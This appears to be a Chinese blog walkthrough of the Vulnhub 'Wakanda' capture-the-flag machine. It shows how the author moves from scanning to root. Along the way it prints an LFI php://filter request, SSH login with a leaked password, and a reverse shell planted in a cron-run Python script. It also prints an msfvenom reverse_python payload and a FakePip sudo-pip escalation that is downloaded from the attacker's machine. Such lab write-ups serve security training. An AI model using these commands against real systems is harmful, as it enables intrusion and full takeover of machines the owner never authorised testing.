渗透测试实战-Vulnhub-Wakanda
Wakanda Vulhub - 幕布
Wakanda Vulhub
- 首先下载Wakanda的虚拟机镜像
- 位于一个网站上,:https://www.vulnhub.com,提供多种可进行渗透测试的靶机,虽然下载可能比较慢
- 找到Wakanda:
- 或者在网上找上传至百度网盘的文件:链接:https://pan.baidu.com/s/1xwr1li8sJ-Yc7h_jOtVOcw 密码:aixl 不保证永久有效
- 作者只提供了ova文件,故只能使用VirtualBox 打开这个虚拟机
- 然后在攻击机(Kali)上首先进行目标主机的探测
- 使用命令,netdiscover或带有参数指定网卡,IP段等的命令,进行探测,也可是使用arp的相关命令,这比netdiscover快一些
-
- 注意:可能由于网络设置上的问题,在Vmware上的Kali一直探测不到VirtualBox上的Wakanda,起初Wakanda的网卡设置为Host Only,仅主机模式,如果在VBox上开启 其他Linux系统,可以探测到,后来经过多种尝试仍然无法探测到,于是我将Kali 的网络修改为桥接模式,直接连接物理机的网络状态,应该是桥接到了Vbox的hostonly网卡上,kali的ip变成了192.168.56.103
- 查看自己的IP
-
- 然后进行探测
- 名称为PCS 。。。的就是我们的目标靶机,不知为何会出现 两个,但是接下来使用nmap扫描时会发现真正有用的下面的那一个,即:192.168.56.101

- 名称为PCS 。。。的就是我们的目标靶机,不知为何会出现 两个,但是接下来使用nmap扫描时会发现真正有用的下面的那一个,即:192.168.56.101
- 使用命令,netdiscover或带有参数指定网卡,IP段等的命令,进行探测,也可是使用arp的相关命令,这比netdiscover快一些
- 然后使用nmap进行端口扫描
- 探测到时VBox的虚拟机机,开放的端口以及开启的服务,经过查询 3333|木马Prosiak开放此端口,,,但是在网上看到的以及后续利用的说这是SSH服务的端口

- 也可以使用带有参数的nmap 命令,如全端口扫描:namp -sS -p- 192.168.56.101

- 探测到时VBox的虚拟机机,开放的端口以及开启的服务,经过查询 3333|木马Prosiak开放此端口,,,但是在网上看到的以及后续利用的说这是SSH服务的端口
- 对开放的服务即端口进行分析,可以发现目标机在80端口上开放了http服务,即有Web服务,可以尝试进行访问,在虚拟机和物理机均可,是一个交易网站、
-
- 然后尝试使用Nikto 进行网站漏洞分扫描,nikto -h 192.168.56.101
- 并没有重大的发现,有时也可以尝试其他的网站扫描工具,如awvs,owasp等

- 并没有重大的发现,有时也可以尝试其他的网站扫描工具,如awvs,owasp等
- 接着使用dirb枚举一下它的目录看看,drib http://192.168.56.101 应该是使用了一个common.txt的字典
- 发现了6个,尝试进行访问,发现没有任何信息

- 发现了6个,尝试进行访问,发现没有任何信息
- 查看网页的源代码
- 发现有这样一条注释十分显眼<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->,将?lang=fr输入地址栏发现原来是英文的那段话变成了法语

-

-

- 发现有这样一条注释十分显眼<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->,将?lang=fr输入地址栏发现原来是英文的那段话变成了法语
- 根据网上看到的说法,这里很可能存在本地文件包含(LFI)或远程文件包含(RFI)漏洞,为了测试是否存在LFI漏洞,使用curl工具,使用php filter伪协议来读取index文件源码,命令:curl http://192.168.56.101/?lang=php://filter/convert.base64-encode/resource=index
- 可以得到index.php加密的源码

- 可以得到index.php加密的源码
- 两个漏洞的介绍
- LFI 本地包含
- LFI漏洞允许用户通过在URL中包括一个文件
-
- 例子
- 在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件
- 有的安全级别比较高,可能无法访问密码文件,这就可能需要利用burpsuite拦截请求进行一定的修改
- 其次就是本次实验的情况,利用php函数
- 从以下截图可以看到passwd文件内容编码为base64,复制整个编码文本。而我在实验时应该是将整个都进行编码了

- 从以下截图可以看到passwd文件内容编码为base64,复制整个编码文本。而我在实验时应该是将整个都进行编码了
- 还可以利用php 的Input函数
- 使用PHP Input函数,通过执行注入PHP代码来利用LFI漏洞
- 通过反向连接连接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。
- LFI漏洞允许用户通过在URL中包括一个文件
- 远程文件包含
- 如果php.ini的配置选项allow_url_include为On的话,文件包含函数是可以加载远程文件的,
- 即服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。
- 原理
- 同本地文件包含原理,只是参数可以换成一个远程的url地址,此时包含的文件不能为php文件,可写成txt或者图片马等等
- 文件包含的时候,无视文件格式,只要文件中有php代码,就会被执行 一句话木马
- 之后使用菜刀连接即可
- 思路
-
- LFI 本地包含
- 然后将这段加密后的源码保存,使用命令:base64 index -d进行解密 后续还可以进一步使用其他方法获得这个密码,但是利用的漏洞都是一样的
- 发现 password="Niamey4Ever227!!!"

- 发现 password="Niamey4Ever227!!!"
- 之前测试过这个服务的其他目录无法使用,如admin,backup等,在端口扫描时注意到有个3333端口开放,后面的名称写的dec-notes,看到网上说这是SSH服务的端口,然后根据前面解密得到的密码,以及在网页上发现的用户名mamado,进行远程登录。ssh mamadou@192.168.56.101 -p 3333
- 得到了一个python的命令行模式,使用的shell 不是bash 是python

- 得到了一个python的命令行模式,使用的shell 不是bash 是python
- 然后输入import pty 使用这个模块,用于切换到bash shell.之后的命令是pty.spwan("/bin/bash")
- 该pty模块定义了处理伪终端概念的操作:启动另一个进程并能够以编程方式写入和读取其控制终端
- pty.spawn(argv[, master_read[, stdin_read]]) 产生一个进程,并将其控制终端与当前进程的标准io连接起来。这常常被用来挡住坚持从控制终端读取的程序
- 成功地到了bash模式

- 在当前的目录下得到第一个flag
-
- 然后探索其他目录,使用命令:find / --name "*flag*" 2>/dev/null进行查找没有任何结果,可能是没有权限访问,再去/var/www/html目录下看看,依旧没有
-
- 查看当前用户是否具有root权限
-
- 查找其他用户,cat /etc/passwd
- 发现在当前用户下面有个devops用户,

- 切换 ,cd /home/devops,进行查看,发现了第二个flag,但是没有查看的权限
- 这就指明接下来的思路是获得devops用户的权限

- 这就指明接下来的思路是获得devops用户的权限
- 发现在当前用户下面有个devops用户,
- 继续探索目录,在tmp目录下
- 发现有个test文件,根据系统时间和其创建的时间,我们怀疑靶机上运行了一个程序,定期执行创建test文件,这里需要用到带有参数的ls 命令:ls -lar这条命令可以列出目录下项目的用户,修改时间等,这里test文件的时间要比其他的都晚

- 发现有个test文件,根据系统时间和其创建的时间,我们怀疑靶机上运行了一个程序,定期执行创建test文件,这里需要用到带有参数的ls 命令:ls -lar这条命令可以列出目录下项目的用户,修改时间等,这里test文件的时间要比其他的都晚
- 在经过别人的寻找之后,在srv目录下发现了一个python程序,叫做antivirus.py在执行创建test的命令,其内容为
- 很有可能srv目录下放的就是一些开机执行,自动执行,定期执行的程序,脚本等

- 很有可能srv目录下放的就是一些开机执行,自动执行,定期执行的程序,脚本等
- 接下来可以有两种方式得到devops的权限,一种是利用存在的python文件,利用编程,还有一种是利用msfvenom生成payload,将其放入原来的py文件,注释掉原来的代码,后面的侦听过程都是一致的
- 第一种
- 由此,看出这个文件的所属是devops,属组是developers,任何人都能修改,可以进行修改作为一个反向shell
- 这里应该是socket编程,让它与攻击机的1235端口有连接
-

- subprocess模块:
- 运行python的时候,我们都是在创建并运行一个进程。像Linux进程那样,一个进程可以fork一个子进程,并让这个子进程exec另外一个程序。在Python中,我们通过标准库中的subprocess包来fork一个子进程,并运行一个外部的程序。
- subprocess包中定义有数个创建子进程的函数,这些函数分别以不同的方式创建子进程,所以我们可以根据需要来从中选取一个使用。另外subprocess还提供了一些管理标准流(standard stream)和管道(pipe)的工具,从而在进程间使用文本通信。
- os模块
- 是系统的接口
- os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2,没有返回值
-
- 然后在kali上侦听该端口,nc -lvvp 1235
- 成功进入devops的shell
-
- 然后查看之前在/home/devops下找到的第二个flag
-
- 成功进入devops的shell
- 这里应该是socket编程,让它与攻击机的1235端口有连接
- 由此,看出这个文件的所属是devops,属组是developers,任何人都能修改,可以进行修改作为一个反向shell
- 第二种
- 使用msfvenom生成payload
- msfvenom -p cmd/unix/reverse_python lhost=192.168.56.101 lport=4444 R

- msfvenom -p cmd/unix/reverse_python lhost=192.168.56.101 lport=4444 R
- 然后将-c后的payoad复制进之前发现的antivirus.py中,并注释掉原来的代码
- 然后对设置的端口进行监听,我可能是网络设置的原因,无法连接
- 使用msfvenom生成payload
- 想办法提权
- 查看devops的root权限,发现在nopass的情况下只有pip可以使用
- sudo -l命令

- sudo -l命令
- 关于pip命令,有一个漏洞可以利用,GitHub上有一个利用脚本Fakepip https://github.com/0x00-0x00/FakePip
- 利用pip升级漏洞
- 由于在靶机上下载不方便,先在kali上下载下来 git clone https://github.com/0x00-0x00/FakePip.git
-
- 进行修改,主要是IP,监听的端口可以自行选择是否修改,但一定与后面监听的端口一致
- 如图,默认的端口是 13372

- 如图,默认的端口是 13372
- 然后在当前的目录下利用python开启一个简单的http服务,提供靶机下载,python -m SimpleHTTPServer 8888
- 然后在靶机上,wget http:192.168.56.103:8888/setup.py

- 然后在靶机上,wget http:192.168.56.103:8888/setup.py
- 然后在靶机上使用root权限执行sudo /usr/bin/pip install . --upgrade --force-reinstall 执行这个EXp
-
- 在kali上监听EXP中设置的端口,nc -lvvp 13372
- 得到反弹shell

- 得到反弹shell
- 获得root权限后,查看根目录,得到最后一个flag
-
- 由于在靶机上下载不方便,先在kali上下载下来 git clone https://github.com/0x00-0x00/FakePip.git
- 在这里普及一下漏洞的名称知识
- 查看devops的root权限,发现在nopass的情况下只有pip可以使用
- 至此找到了所有的flag 并获得了root权限
以上内容整理于 幕布
作者:llzz38
出处:http://www.cnblogs.com/llzz38/
如果您觉得阅读本文对您有帮助,请点击一下右下方的推荐按钮,您的推荐将是我写作的最大动力!
版权声明:本文为博主原创或转载文章,欢迎转载,但转载文章之后必须在文章页面明显位置注明出处,否则保留追究法律责任的权利。
出处:http://www.cnblogs.com/llzz38/
如果您觉得阅读本文对您有帮助,请点击一下右下方的推荐按钮,您的推荐将是我写作的最大动力!
版权声明:本文为博主原创或转载文章,欢迎转载,但转载文章之后必须在文章页面明显位置注明出处,否则保留追究法律责任的权利。













浙公网安备 33010602011771号